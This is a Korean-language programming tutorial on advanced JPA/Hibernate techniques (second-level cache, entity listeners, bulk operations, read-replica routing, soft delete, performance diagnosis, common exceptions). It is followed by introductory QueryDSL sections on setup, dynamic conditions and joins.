1차 캐시는 트랜잭션 안에서만 삽니다. 2차 캐시는 애플리케이션 전체가 공유하지만, 쓸 수 있는 조건이 까다롭습니다. 잘못 쓰면 오래된 데이터를 보게 됩니다.

설정과 사용

spring:
  jpa:
    properties:
      hibernate:
        cache:
          use_second_level_cache: true
          use_query_cache: true
          region.factory_class: jcache
        javax.cache.provider: org.ehcache.jsr107.EhcacheCachingProvider
@Entity
@Cacheable
@Cache(usage = CacheConcurrencyStrategy.READ_WRITE, region = "code")
public class CodeGroup {          // 거의 안 바뀌는 코드 테이블
    @Id private String code;
    private String type;
    private String name;
}

// 쿼리 캐시 — 결과 id 목록을 캐시한다
@QueryHints(@QueryHint(name = "org.hibernate.cacheable", value = "true"))
@Query("select c from CodeGroup c where c.type = :type")
List<CodeGroup> findByType(@Param("type") String type);

쓰기 전에 확인할 것

전략언제
READ_ONLY절대 안 바뀌는 데이터 — 가장 빠르고 안전
NONSTRICT_READ_WRITE가끔 바뀌고 잠깐 오래된 값을 봐도 되는 경우
READ_WRITE자주 바뀌는 데이터 (소프트 락 사용 · 비용 있음)
TRANSACTIONALJTA 환경 — 거의 안 쓴다
2차 캐시를 권하지 않는 경우가 더 많습니다 — ① 서버가 여러 대면 서버마다 캐시가 다릅니다(분산 캐시 설정이 별도로 필요), ② 벌크 연산·네이티브 쿼리는 캐시를 무효화하지 않습니다, ③ 디버깅이 어렵습니다. Redis 를 애플리케이션 레벨 캐시로 쓰는 편이 통제하기 쉽습니다.
2차 캐시가 정말 잘 맞는 자리 — 코드 테이블·설정·카테고리처럼 거의 안 바뀌고 자주 읽는 데이터입니다. 이 경우 READ_ONLY로 두면 DB 왕복이 사라지고 부작용도 없습니다.
JPA+ 11

이벤트 · 리스너 · 도메인 이벤트

엔티티가 저장·수정·삭제될 때 자동으로 끼어드는 지점입니다. 감사 필드 채우기, 이력 남기기, 도메인 이벤트 발행에 씁니다.

// ① 엔티티 콜백 — 엔티티 안에서
@Entity
public class Order {
    @PrePersist
    void prePersist() {
        this.orderNo = OrderNoGenerator.generate();
        this.createdAt = LocalDateTime.now();
    }

    @PreUpdate
    void preUpdate() { this.updatedAt = LocalDateTime.now(); }

    @PostLoad
    void postLoad() { this.original = this.status; }   // 변경 전 값을 기억
}

// ② 별도 리스너 클래스 — 여러 엔티티에 공통 적용
public class AuditListener {
    @PrePersist public void onPrePersist(Object entity) { ... }
    @PreRemove  public void onPreRemove(Object entity) { auditLog.record(entity); }
}

@Entity
@EntityListeners(AuditListener.class)
public class Order { ... }

// ③ 도메인 이벤트 — Spring Data 가 지원한다 (가장 권장)
@Entity
public class Order extends AbstractAggregateRoot<Order> {

    public void cancel(String reason) {
        if (!status.canCancel()) throw new IllegalStateException("취소 불가: " + status);
        this.status = OrderStatus.CANCELED;
        registerEvent(new OrderCanceledEvent(this.id, reason));   // 이벤트 등록
    }
}
// repository.save(order) 시점에 이벤트가 자동 발행된다

@Component
public class OrderEventHandler {
    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void on(OrderCanceledEvent e) {
        // 커밋이 성공한 뒤에만 실행 — 알림·정산 반영 등
        notifier.send("주문 취소: " + e.orderId());
    }
}

주의할 점

  • 콜백 안에서 다른 엔티티를 저장하지 마세요 — 플러시 중에 또 플러시가 일어나 예측 불가한 동작을 합니다
  • 벌크 연산은 콜백을 타지 않습니다(@Modifying 쿼리)
  • @PostLoad 에서 무거운 작업 금지 — 조회 건수만큼 실행됩니다
  • 트랜잭션 밖으로 나가야 하는 작업은 AFTER_COMMIT 리스너로

Envers — 이력 자동 관리

// spring-boot-starter-data-jpa + hibernate-envers
@Entity
@Audited                       // 이 엔티티의 모든 변경을 이력 테이블에 남긴다
public class Order {
    @Id @GeneratedValue private Long id;
    private OrderStatus status;

    @NotAudited                // 제외할 필드
    private String tempMemo;
}
// orders_AUD 테이블이 자동 생성되고, 리비전마다 스냅숏이 쌓인다

// 과거 시점 조회
AuditReader reader = AuditReaderFactory.get(em);
Order past = reader.find(Order.class, orderId, revisionNumber);
List<Number> revisions = reader.getRevisions(Order.class, orderId);
Envers 는 저장 용량이 빠르게 늘어납니다. 모든 엔티티에 붙이지 말고 감사 요구가 실제로 있는 것에만 쓰세요.
JPA+ 12

벌크 연산 · 대용량 처리

수만 건을 다루기 시작하면 JPA 를 쓰는 방식 자체를 바꿔야 합니다. 영속성 컨텍스트가 도움이 아니라 짐이 되는 구간입니다.

벌크 UPDATE·DELETE

public interface OrderRepository extends JpaRepository<Order, Long> {

    @Modifying(clearAutomatically = true, flushAutomatically = true)
    @Query("update Order o set o.status = :to where o.status = :from and o.createdAt < :before")
    int expireOldOrders(@Param("from") OrderStatus from,
                        @Param("to") OrderStatus to,
                        @Param("before") LocalDateTime before);
}

// ⚠️ 벌크 연산의 성질
// · 영속성 컨텍스트를 거치지 않고 DB 로 직접 나간다
// · 그래서 1차 캐시가 옛 값을 들고 있다 → clearAutomatically = true 필요
// · @PreUpdate·@LastModifiedDate 같은 콜백이 동작하지 않는다
// · @Version 도 자동으로 오르지 않는다 (직접 version = version + 1 을 써야 한다)

@Modifying(clearAutomatically = true)
@Query("update Order o set o.status = :to, o.version = o.version + 1 where o.id in :ids")
int bulkUpdateStatus(@Param("ids") List<Long> ids, @Param("to") OrderStatus to);

대량 읽기 — 커서·스트림

// ① 스트림 + 주기적 clear (트랜잭션 안에서만 유효)
@Transactional(readOnly = true)
public void exportAll(Consumer<OrderRow> sink) {
    try (Stream<Order> stream = orderRepository.streamAllByStatus(PAID)) {
        AtomicInteger i = new AtomicInteger();
        stream.forEach(o -> {
            sink.accept(toRow(o));
            if (i.incrementAndGet() % 1000 == 0) em.clear();   // ★ 필수
        });
    }
}

@QueryHints({
    @QueryHint(name = HINT_FETCH_SIZE, value = "1000"),
    @QueryHint(name = HINT_CACHEABLE, value = "false"),
    @QueryHint(name = HINT_READ_ONLY, value = "true"),   // 스냅숏을 안 만든다
})
@Query("select o from Order o where o.status = :status")
Stream<Order> streamAllByStatus(@Param("status") OrderStatus status);

// ② 커서(키셋) 페이징 — 가장 안전한 방식
@Query("select o from Order o where (:lastId is null or o.id < :lastId) order by o.id desc")
List<Order> findPage(@Param("lastId") Long lastId, Pageable pageable);

// ③ StatelessSession — 영속성 컨텍스트 자체를 안 쓴다 (Hibernate 전용)
StatelessSession session = sessionFactory.openStatelessSession();
ScrollableResults<Order> rs = session.createQuery(hql, Order.class)
        .setFetchSize(1000).scroll(ScrollMode.FORWARD_ONLY);
상황선택
수만 건 INSERTSEQUENCE + batch_size, 또는 JdbcTemplate.batchUpdate
조건에 맞는 대량 UPDATE벌크 쿼리 (@Modifying) — 한 방에
전체 순회하며 가공스트림 + clear() 또는 커서 페이징
도메인 규칙이 복잡한 배치Spring Batch — 청크·재시작·스킵을 프레임워크가 처리
단순 데이터 이관SQL 로 직접 — 엔티티를 만들 이유가 없다
대량 처리에서 가장 흔한 실수 셋 — ① em.clear() 누락으로 메모리 폭발, ② IDENTITY 전략이라 배치 INSERT 가 꺼져 있음, ③ 루프 안에서 조회(N+1 의 배치 버전) — findAllById로 묶으세요.
벌크 연산은 영속성 컨텍스트를 지나치지 않습니다 영속성 컨텍스트 User(1) — 등급: 일반 옛 값이 그대로 남습니다 벌크 UPDATE update User set grade='VIP' where point > 1000 DB User(1) — 등급: VIP 여기만 바뀌었습니다 이 상태에서 조회하면 캐시된 '일반'이 나옵니다 해결 — 실행 뒤 비웁니다 @Modifying(clearAutomatically = true) 대량 삽입은 배치로 batch_size 설정 + 일정 건수마다 flush · clear 로 메모리 관리 벌크 연산은 엔티티 리스너·변경 감지·낙관적 락 버전을 건너뜁니다 — 감사 필드가 갱신되지 않는다는 뜻입니다 수십만 건 이상이라면 JPA 를 고집하지 말고 JDBC 배치나 Spring Batch 를 쓰는 편이 훨씬 빠릅니다
빠른 대신 JPA 가 해 주던 것들을 잃습니다 — 그 대가를 알고 쓰세요.
등급 일괄 변경 10만 건 — 걸리는 시간 (대표값, 환경에 따라 다름) 0 10 20 30 40 50 s 조회 + 변경 감지 ≈ 40 s · UPDATE 10만 번 JDBC 배치 (1,000건씩) ≈ 5 s · 왕복 100번 벌크 UPDATE (JPQL) ≈ 0.8 s · 문장 1개 벌크 UPDATE 가 건너뛰는 것 변경 감지 · 엔티티 리스너(@PreUpdate) · @Version 증가 · 1차 캐시 동기화 → 감사 필드가 안 바뀌고, 이미 읽은 엔티티는 옛 값 — 실행 뒤 clear 필수 수십만 건 이상이면 JDBC 배치나 Spring Batch 가 정직한 선택입니다
빠른 대신 JPA 가 해 주던 것들을 잃습니다 — 그 대가를 알고 쓰세요.
JPA+ 13

멀티 데이터소스 · 읽기 분리

조회 부하를 읽기 복제본으로 넘기거나, 여러 DB를 함께 쓰는 구성입니다. 트랜잭션 경계와 라우팅 규칙을 정확히 잡는 것이 핵심입니다.

// ① 읽기/쓰기 라우팅 — @Transactional(readOnly) 로 판단
public class RoutingDataSource extends AbstractRoutingDataSource {
    @Override
    protected Object determineCurrentLookupKey() {
        return TransactionSynchronizationManager.isCurrentTransactionReadOnly()
                ? "reader" : "writer";
    }
}

@Configuration
public class DataSourceConfig {

    @Bean @ConfigurationProperties("spring.datasource.writer")
    public DataSource writerDataSource() { return DataSourceBuilder.create().build(); }

    @Bean @ConfigurationProperties("spring.datasource.reader")
    public DataSource readerDataSource() { return DataSourceBuilder.create().build(); }

    @Bean
    public DataSource routingDataSource(
            @Qualifier("writerDataSource") DataSource writer,
            @Qualifier("readerDataSource") DataSource reader) {
        RoutingDataSource ds = new RoutingDataSource();
        ds.setTargetDataSources(Map.of("writer", writer, "reader", reader));
        ds.setDefaultTargetDataSource(writer);
        return ds;
    }

    @Bean
    @Primary
    public DataSource dataSource(@Qualifier("routingDataSource") DataSource routing) {
        // ★ 지연 프록시 — 커넥션을 '실제로 쓸 때' 결정한다 (readOnly 판단이 먼저 끝나도록)
        return new LazyConnectionDataSourceProxy(routing);
    }
}

복제 지연 함정

// ❌ 저장 직후 복제본에서 조회하면 없을 수 있다
@Transactional
public Long create(OrderRequest req) {
    Order saved = orderRepository.save(new Order(req));
    return saved.getId();
}
public OrderDto createAndGet(OrderRequest req) {
    // (다른 빈을 거쳐야 @Transactional 이 먹습니다 — 같은 클래스 자기 호출이면 둘 다 트랜잭션 없음)
    Long id = commandService.create(req);      // writer 에 씀
    return queryService.findById(id);          // @Transactional(readOnly) → reader! 아직 없을 수 있다
}

// ✅ 같은 트랜잭션 안에서 처리하거나, 저장 결과를 그대로 반환
@Transactional
public OrderDto create(OrderRequest req) {
    Order saved = orderRepository.save(new Order(req));
    return OrderDto.from(saved);               // 다시 조회하지 않는다
}

// ✅ 꼭 다시 읽어야 하면 강제로 writer 로
@Transactional     // readOnly = false → writer
public OrderDto findFresh(Long id) { ... }

여러 DB 를 쓸 때

// 도메인별로 DB 가 다르면 EntityManagerFactory 를 각각 만든다
@Configuration
@EnableJpaRepositories(
    basePackages = "com.example.order.repository",
    entityManagerFactoryRef = "orderEntityManagerFactory",
    transactionManagerRef = "orderTransactionManager")
public class OrderDbConfig { ... }

@Configuration
@EnableJpaRepositories(
    basePackages = "com.example.settlement.repository",
    entityManagerFactoryRef = "settlementEntityManagerFactory",
    transactionManagerRef = "settlementTransactionManager")
public class SettlementDbConfig { ... }

// ⚠️ 두 DB 에 걸친 트랜잭션은 보장되지 않는다
// · JTA(분산 트랜잭션)는 복잡하고 느리다
// · 실무에서는 아웃박스·사가로 최종 일관성을 택하는 편이 많다
LazyConnectionDataSourceProxy는 거의 필수입니다. 없으면 트랜잭션 시작 시점에 커넥션을 잡아 readOnly 판단보다 먼저 데이터소스가 결정되어 라우팅이 동작하지 않습니다.
JPA+ 14

소프트 삭제 · 동적 필터

실무 대부분의 시스템은 데이터를 진짜로 지우지 않습니다. 그 순간 “모든 조회에 deleted = false 를 붙이는” 문제가 생기고, 하이버네이트는 그것을 자동화하는 장치를 제공합니다.

@SQLDelete + @SQLRestriction

@Entity
@SQLDelete(sql = "update orders set deleted = true, deleted_at = now() where id = ?")
@SQLRestriction("deleted = false")      // Hibernate 6.3+ (구 @Where)
public class Order {
    @Id @GeneratedValue private Long id;
    private boolean deleted = false;
    private LocalDateTime deletedAt;
}

// repository.delete(order) → UPDATE 가 나간다
// 모든 조회에 자동으로 "and deleted = false" 가 붙는다

// ⚠️ 주의
// · 네이티브 쿼리에는 적용되지 않는다
// · 삭제된 것도 봐야 할 때(관리자 화면) 방법이 없다 → 아래 @FilterDef 사용
// · 유니크 제약과 충돌한다 (삭제된 행이 남아 있으므로)
//   → 부분 인덱스: create unique index ... where deleted = false (PostgreSQL)

@FilterDef — 켜고 끌 수 있는 조건

@Entity
@FilterDef(name = "deletedFilter",
           parameters = @ParamDef(name = "isDeleted", type = Boolean.class))
@Filter(name = "deletedFilter", condition = "deleted = :isDeleted")
public class Order { ... }

// 필요할 때만 켠다
@Transactional(readOnly = true)
public List<Order> findActive() {
    Session session = em.unwrap(Session.class);
    session.enableFilter("deletedFilter").setParameter("isDeleted", false);
    return orderRepository.findAll();
}

// 관리자 화면 — 필터를 켜지 않으면 전부 보인다
public List<Order> findAllIncludingDeleted() {
    return orderRepository.findAll();
}

// 멀티테넌시에도 같은 방식이 쓰인다
@Filter(name = "tenantFilter", condition = "tenant_id = :tenantId")
소프트 삭제는 생각보다 비쌉니다. ① 유니크 제약이 무력화되고, ② 인덱스에 안 쓰는 행이 계속 쌓이며, ③ 통계·집계 쿼리마다 조건을 기억해야 합니다. 정말 복구 요구가 있는 테이블만 소프트 삭제로 하고, 나머지는 이력 테이블로 옮기고 삭제하는 편이 깨끗합니다.
JPA+ 15

성능 진단

“JPA 가 느리다”는 말은 대부분 “내가 쓴 방식이 느리다”입니다. 무엇이 몇 번 나가는지 숫자로 보는 방법부터 시작합니다.

보이게 만들기

spring:
  jpa:
    properties:
      hibernate:
        format_sql: true
        generate_statistics: true       # 통계 로그
        session.events.log.LOG_QUERIES_SLOWER_THAN_MS: 100   # 슬로우 쿼리
logging:
  level:
    org.hibernate.SQL: debug
    org.hibernate.orm.jdbc.bind: trace  # 바인딩 값까지 (운영에서는 끄기)
    org.hibernate.stat: debug
# 통계 로그 예시 — 여기서 무엇을 보나
Session Metrics {
    12345 nanoseconds spent acquiring 1 JDBC connections;
    0 nanoseconds spent releasing 0 JDBC connections;
    101 nanoseconds spent preparing 101 JDBC statements;   ← ★ N+1 신호
    0 nanoseconds spent executing 0 JDBC batches;          ← ★ 배치 미동작
    1234 nanoseconds spent executing 1 flushes
}

p6spy · 실행 계획

// p6spy — 실제 바인딩된 SQL 을 보기 좋게 출력
// implementation("com.github.gavlyukovskiy:p6spy-spring-boot-starter:1.9.2")
// select * from orders where status = 'PAID' and created_at >= '2026-08-01'
//   ← 물음표가 아니라 실제 값이 찍힌다 (개발 환경에서만!)

// 테스트로 쿼리 수를 고정한다 — N+1 재발 방지
@Test
void 목록조회는_쿼리가_두번이다() {
    Statistics stats = em.getEntityManagerFactory()
            .unwrap(SessionFactory.class).getStatistics();
    stats.clear();

    List<OrderDto> result = orderService.findAll();

    assertThat(stats.getPrepareStatementCount()).isEqualTo(2);
}

// 실행 계획은 결국 DB 에서 본다
// EXPLAIN ANALYZE select ... (PostgreSQL)
// EXPLAIN FORMAT=JSON select ... (MySQL)
증상확인 순서
목록 API 가 느리다쿼리 수 → N+1 → fetch join·batch size → DTO 프로젝션
특정 쿼리만 느리다실행 계획 → 인덱스 → 통계 갱신
메모리가 계속 오른다1차 캐시 누적 → clear() · readOnly 트랜잭션
저장이 느리다배치 동작 여부 → IDENTITY? → SEQUENCE 전환
가끔 타임아웃락 경합 → 트랜잭션 길이 → 외부 호출이 안에 있는지
커넥션 풀 고갈open-in-view → 트랜잭션 안 외부 호출 → 풀 크기
JPA+ 16

에러 메시지 사전

JPA 를 쓰다 만나는 예외들을 원인과 해결로 정리했습니다. 메시지를 검색하기 전에 여기서 먼저 찾아보세요.

예외 · 메시지원인과 해결
LazyInitializationException
could not initialize proxy — no Session
트랜잭션 밖에서 지연 로딩 접근 → 트랜잭션 안에서 DTO 변환 · fetch join · EntityGraph
No default constructor for entity기본 생성자 없음 → protected 기본 생성자 추가 (코틀린은 no-arg 플러그인)
detached entity passed to persistid 가 있는 객체를 persist → merge 또는 조회 후 수정
ObjectOptimisticLockingFailureException버전 충돌 → 재시도(@Retryable) 또는 사용자에게 안내
StaleObjectStateException이미 삭제된 행을 수정 → 조회 후 존재 확인
UnexpectedRollbackException자식 트랜잭션에서 롤백 표시 후 부모가 커밋 시도 → 예외를 삼키지 말 것
could not execute statement
Duplicate entry
유니크 제약 위반 → 사전 검사 + 예외를 도메인 예외로 변환
ConstraintViolationException
foreign key constraint fails
참조 무결성 위반 → 삭제 순서 · cascade·orphanRemoval 확인
MultipleBagFetchException
cannot simultaneously fetch multiple bags
List 컬렉션 두 개를 동시에 fetch join → Set 으로 바꾸거나 batch size 사용
firstResult/maxResults specified
with collection fetch
컬렉션 fetch join + 페이징 → 2단계 조회 또는 batch size (08)
QuerySyntaxException
Table is not mapped
JPQL 에 테이블명을 씀 → 엔티티명을 써야 한다
TransientObjectException저장되지 않은 연관 객체 참조 → cascade = PERSIST 또는 먼저 저장
can not set field to
org.hibernate.proxy…
프록시를 다운캐스팅 → Hibernate.unproxy() 또는 fetch join
Validation failed for query
for method …
쿼리 메서드 이름 오타 → 필드명 확인 · @Query로 명시
InvalidDataAccessApiUsageException
Executing an update/delete query
@Modifying 누락 또는 트랜잭션 없음
connection is not available,
request timed out
커넥션 풀 고갈 → open-in-view 끄기 · 트랜잭션 단축 · 풀 크기 조정
다음으로 볼 것 — 이 탭에서 JPA 의 깊은 부분을 봤다면, QueryDSL 탭에서는 동적 쿼리를 타입 안전하게 만드는 법을, MyBatis 탭에서는 SQL 을 직접 쓰는 접근을 다룹니다. 실무에서는 세 가지를 상황에 따라 섞어 씁니다.
타입 안전 동적 쿼리 · 프로젝션 · 서브쿼리 · 성능

문자열 쿼리는
런타임에 터지고
QueryDSL은 컴파일에 막힌다

검색 조건이 다섯 개만 되어도 if 로 JPQL 문자열을 조립하게 됩니다. 그러면 띄어쓰기 하나로 운영에서 터집니다. QueryDSL 은 그 쿼리를 자바 코드로 쓰게 해서, 컬럼명 오타·타입 불일치를 컴파일 단계에서 잡습니다.

16SECTIONS
0문자열 쿼리
100%컴파일 타임 검증
5.x기준 버전 (jakarta)
QDSL 01

왜 QueryDSL인가 · 설정

Spring Data 의 쿼리 메서드는 조건이 늘면 이름이 감당 못 하게 길어지고, @Query 문자열은 동적 조건에 취약합니다. 그 사이를 메우는 도구입니다.

문자열로 동적 쿼리를 만들면
public List<Order> search(OrderCondition cond) {
    StringBuilder jpql = new StringBuilder("select o from Order o where 1=1");
    Map<String, Object> params = new HashMap<>();

    if (cond.getStatus() != null) {
        jpql.append(" and o.status = :status");   // 앞 공백 빠지면 런타임 에러
        params.put("status", cond.getStatus());
    }
    if (cond.getMinAmount() != null) {
        jpql.append(" and o.totalAmount >= :minAmount");
        params.put("minAmount", cond.getMinAmount());
    }
    // 조건이 늘수록 감당이 안 된다
    // · 컬럼명을 바꾸면? → 컴파일은 통과, 운영에서 터진다
    // · 타입이 틀리면?   → 마찬가지
    // · IDE 자동완성 없음, 리팩터링 추적 안 됨
    TypedQuery<Order> query = em.createQuery(jpql.toString(), Order.class);
    params.forEach(query::setParameter);
    return query.getResultList();
}
QueryDSL
public List<Order> search(OrderCondition cond) {
    return queryFactory
        .selectFrom(order)
        .where(
            statusEq(cond.getStatus()),        // null 이면 조건에서 자동 제외
            amountGoe(cond.getMinAmount()),
            createdBetween(cond.getFrom(), cond.getTo())
        )
        .orderBy(order.createdAt.desc())
        .fetch();
}

private BooleanExpression statusEq(OrderStatus status) {
    return status != null ? order.status.eq(status) : null;
}
private BooleanExpression amountGoe(Long amount) {
    return amount != null ? order.totalAmount.goe(amount) : null;
}
// 필드명이 바뀌면 컴파일 에러 · IDE 자동완성 · 조건 재사용 가능

설정 — Spring Boot 4.x · jakarta 기준

Gradle

dependencies {
    implementation("com.querydsl:querydsl-jpa:5.1.0:jakarta")
    annotationProcessor("com.querydsl:querydsl-apt:5.1.0:jakarta")
    annotationProcessor("jakarta.annotation:jakarta.annotation-api")
    annotationProcessor("jakarta.persistence:jakarta.persistence-api")
}

// 생성 위치: build/generated/sources/annotationProcessor/java/main
// 대부분 Gradle 이 알아서 소스셋에 넣어 준다.
// IDE 가 못 찾으면 아래를 추가
sourceSets.main { java.srcDir(layout.buildDirectory.dir("generated/sources/annotationProcessor/java/main")) }

// Q타입 정리 (스키마를 바꿨는데 옛 Q타입이 남아 있을 때)
tasks.named("clean") {
    doLast { delete(layout.buildDirectory.dir("generated")) }
}
:jakarta 분류자를 빠뜨리면 Boot 3+ 에서 javax.persistence 를 찾다가 실패합니다. “Q타입이 생성되지 않는다”의 가장 흔한 원인입니다.

Maven · 빈 등록

<dependency>
  <groupId>com.querydsl</groupId>
  <artifactId>querydsl-jpa</artifactId>
  <version>5.1.0</version>
  <classifier>jakarta</classifier>
</dependency>
<dependency>
  <groupId>com.querydsl</groupId>
  <artifactId>querydsl-apt</artifactId>
  <version>5.1.0</version>
  <classifier>jakarta</classifier>
  <scope>provided</scope>
</dependency>
@Configuration
public class QuerydslConfig {
    @PersistenceContext
    private EntityManager em;

    @Bean
    public JPAQueryFactory queryFactory() {
        return new JPAQueryFactory(em);
    }
}
// 이제 어디서든 주입받아 쓴다
Q타입이란 — Order 엔티티로부터 QOrder 클래스가 생성되고, 그 안에 order.status·order.totalAmount 같은 타입 있는 경로 객체가 들어 있습니다. 우리가 쓰는 것은 이 경로 객체이고, 엔티티 필드가 바뀌면 Q타입도 바뀌므로 컴파일 에러로 드러납니다.
QDSL 02

기본 문법

SQL 을 아는 사람이라면 거의 그대로 읽힙니다. select · from · where · orderBy · fetch 다섯 개면 시작할 수 있습니다.

import static com.example.domain.QOrder.order;      // ★ static import 가 관례
import static com.example.domain.QMember.member;

// 엔티티 조회
List<Order> orders = queryFactory
        .selectFrom(order)                          // select(order).from(order) 축약
        .where(order.status.eq(OrderStatus.PAID))
        .orderBy(order.createdAt.desc())
        .fetch();

// 결과 가져오기 — 목적에 맞는 메서드를 쓴다
List<Order> list   = query.fetch();          // 목록
Order one          = query.fetchOne();       // 하나 (없으면 null, 둘 이상이면 예외)
Order first        = query.fetchFirst();     // 첫 번째 (limit 1)
// fetchResults()·fetchCount() 는 5.0에서 deprecated — 카운트는 별도 쿼리로

// 조건 — SQL 연산자와 대응된다
order.status.eq(PAID)                 // =
order.status.ne(PAID)                 // !=
order.totalAmount.gt(10_000)          // >
order.totalAmount.goe(10_000)         // >=
order.totalAmount.lt(10_000)          // <
order.totalAmount.loe(10_000)         // <=
order.totalAmount.between(1000, 5000)
order.status.in(NEW, PAID)
order.status.notIn(CANCELED)
order.memo.isNull()
order.memo.isNotNull()
order.orderNo.like("ORD-2026%")
order.orderNo.startsWith("ORD")       // like 'ORD%'
order.orderNo.contains("2026")        // like '%2026%'
order.createdAt.after(from)
order.createdAt.before(to)

// AND / OR
.where(order.status.eq(PAID).and(order.totalAmount.goe(10_000)))
.where(order.status.eq(PAID).or(order.status.eq(SHIPPED)))
.where(order.status.eq(PAID), order.totalAmount.goe(10_000))   // 쉼표 = AND (권장)

Q타입 인스턴스 — 별칭이 필요할 때

// 기본 인스턴스 (static import) — 대부분 이것으로 충분
import static com.example.domain.QOrder.order;

// 같은 테이블을 두 번 조인할 때는 별칭을 따로 만든다
QOrder o1 = new QOrder("o1");
QOrder o2 = new QOrder("o2");

queryFactory.select(o1, o2)
    .from(o1)
    .join(o2).on(o1.userId.eq(o2.userId).and(o1.id.ne(o2.id)))
    .fetch();

쿼리 로그 보기

logging:
  level:
    org.hibernate.SQL: debug
    org.hibernate.orm.jdbc.bind: trace

# QueryDSL 은 결국 JPQL 을 만든다 — 확인하려면
# query.toString() 또는 JPAQuery#getMetadata()

QueryDSL → JPQL → SQL 순서로 변환됩니다. 그래서 JPQL 로 안 되는 것은 QueryDSL 로도 안 됩니다 (예: from 절 서브쿼리).

문자열이 아니라 '코드'로 쿼리를 씁니다 @Entity User 필드 정의 컴파일 때 Q 클래스 생성 QUser.user.name … 코드로 조건 작성 where(user.name.eq(name)) 실행 시 JPQL 로 변환 → SQL 로 나갑니다 얻는 것 — 오타가 컴파일에서 걸립니다 필드명을 바꾸면 쿼리 쪽도 컴파일 에러로 드러납니다 Q 클래스가 안 보인다면 — 빌드를 한 번 돌리지 않은 것입니다(annotationProcessor) 엔티티를 고친 뒤에는 다시 빌드해야 Q 클래스가 갱신됩니다. IDE 가 빨간 줄을 그어도 build 후 sync 하면 대개 사라집니다 생성 위치는 build/generated 아래 — 저장소에 커밋하지 않습니다
JPQL 문자열의 오타를 런타임이 아니라 빌드에서 잡는 것이 핵심입니다.
같은 오타 user.nmae — 언제 발견되는가 QueryDSL JPQL 문자열 코드 작성 컴파일 테스트 배포 운영 호출 컴파일 에러 — 빌드가 멈춤 QUser 에 nmae 필드가 없음 그 줄이 처음 실행될 때 예외 컴파일은 문자열 안을 보지 않음 오타가 숨어 있는 거리 — 테스트가 그 줄을 안 지나면 운영까지 Q 클래스가 안 보이면 빌드를 한 번 돌리세요 — annotationProcessor 가 만듭니다
같은 오타라도 발견되는 시점이 다릅니다 — 빌드에서 잡히면 운영까지 가지 않습니다.
QDSL 03

동적 조건 — null 이 곧 “조건 없음”

QueryDSL 의 가장 강력한 성질입니다. where() 에 null을 넘기면 그 조건은 무시됩니다. 이 규칙 하나로 동적 쿼리가 if 없이 표현됩니다.

where(a, b, c, d) — null 인 것만 빠진다 입력 4개 null 2개 섞임 조건 메서드 null → null 반환 where(…) null 인자는 무시 SQL 조건 2개 AND 로 연결 status = "PAID" statusEq() → 식 and status = ? minAmount = null amountGoe() → null (빠짐) keyword = "김" nameLike() → 식 and m.name like ? from = null createdGoe() → null (빠짐) if 문 없이 조건이 조합된다 — 조건이 20개여도 코드 모양이 같다 단, 모든 조건이 null 이면 where 절이 통째로 사라져 전체 조회가 된다 — 방어 필요
이 성질 덕분에 검색 API 한 개로 수십 가지 조합을 처리할 수 있습니다.

BooleanExpression — 권장 방식

public List<Order> search(OrderCondition cond) {
    return queryFactory
        .selectFrom(order)
        .leftJoin(order.member, member).fetchJoin()
        .where(
            statusEq(cond.getStatus()),
            amountGoe(cond.getMinAmount()),
            memberNameContains(cond.getKeyword()),
            createdBetween(cond.getFrom(), cond.getTo())
        )
        .fetch();
}

private BooleanExpression statusEq(OrderStatus status) {
    return status == null ? null : order.status.eq(status);
}
private BooleanExpression amountGoe(Long amount) {
    return amount == null ? null : order.totalAmount.goe(amount);
}
private BooleanExpression memberNameContains(String keyword) {
    return !StringUtils.hasText(keyword) ? null : member.name.contains(keyword);
}
private BooleanExpression createdBetween(LocalDateTime from, LocalDateTime to) {
    if (from == null && to == null) return null;
    if (from == null) return order.createdAt.loe(to);
    if (to == null) return order.createdAt.goe(from);
    return order.createdAt.between(from, to);
}

// ★ 장점 — 이 메서드들을 '다른 쿼리에서도 재사용'할 수 있다
// ★ 조합도 된다: statusEq(s).and(amountGoe(a))
//   단 왼쪽이 null 이면 NPE — 오른쪽 null 만 무시됩니다 (where 의 쉼표 나열이 안전)

BooleanBuilder — 조건이 복잡할 때

public List<Order> search(OrderCondition cond) {
    BooleanBuilder builder = new BooleanBuilder();

    if (cond.getStatus() != null) builder.and(order.status.eq(cond.getStatus()));
    if (cond.getMinAmount() != null) builder.and(order.totalAmount.goe(cond.getMinAmount()));

    // OR 그룹이 섞이면 Builder 가 읽기 좋다
    if (StringUtils.hasText(cond.getKeyword())) {
        builder.and(
            member.name.contains(cond.getKeyword())
                .or(order.orderNo.contains(cond.getKeyword()))
        );
    }

    // 권한에 따른 강제 조건 (절대 빠지면 안 되는 것)
    builder.and(order.deleted.isFalse());

    return queryFactory.selectFrom(order)
            .leftJoin(order.member, member)
            .where(builder)
            .fetch();
}
모든 조건이 null 이면 전체 조회가 됩니다. 기간 필수나 최대 조회 건수 제한 같은 안전장치를 반드시 넣으세요 — 실수로 수백만 건을 읽는 사고가 흔합니다.
QDSL 04

조인 총정리

QueryDSL 의 조인은 JPQL 조인 그대로입니다. 연관 기반 조인과 연관 없는 조인(theta·on), 그리고 fetch join을 구분해서 씁니다.

주문 3건 중 2번만 쿠폰을 썼다 — 같은 조건을 on 에 두느냐 where 에 두느냐 ① 조건을 on 절에 .leftJoin(coupon).on(orderId.eq(…), used.isTrue()) 주문 붙은 쿠폰 주문 1 null — 쿠폰 없음 주문 2 C-2 (used) 주문 3 null — 쿠폰 없음 결과 3행 — 주문은 하나도 안 사라진다 목록 화면에 딱 맞는 모양 (쿠폰은 있으면 표시) ② 같은 조건을 where 절에 .leftJoin(coupon).on(orderId.eq(…)).where(used.isTrue()) 주문 붙은 쿠폰 주문 1 행 자체가 사라짐 주문 2 C-2 (used) 주문 3 행 자체가 사라짐 결과 1행 — left join 이 inner join 이 된다 「쿠폰 쓴 주문만」이 목적이면 이게 맞다 — 의도했는지가 관건
조건을 어디에 두느냐가 결과 행 수를 바꿉니다 — left join 을 썼는데 행이 줄었다면 where 절을 보세요.
// ① 연관 기반 조인 — 가장 흔하다
queryFactory.selectFrom(order)
    .join(order.member, member)              // inner join
    .leftJoin(order.delivery, delivery)      // left outer join
    .where(member.name.eq("김현우"))
    .fetch();

// ② fetch join — 연관 엔티티를 함께 로딩 (N+1 해결)
queryFactory.selectFrom(order)
    .join(order.member, member).fetchJoin()
    .leftJoin(order.delivery, delivery).fetchJoin()
    .where(order.status.eq(PAID))
    .fetch();
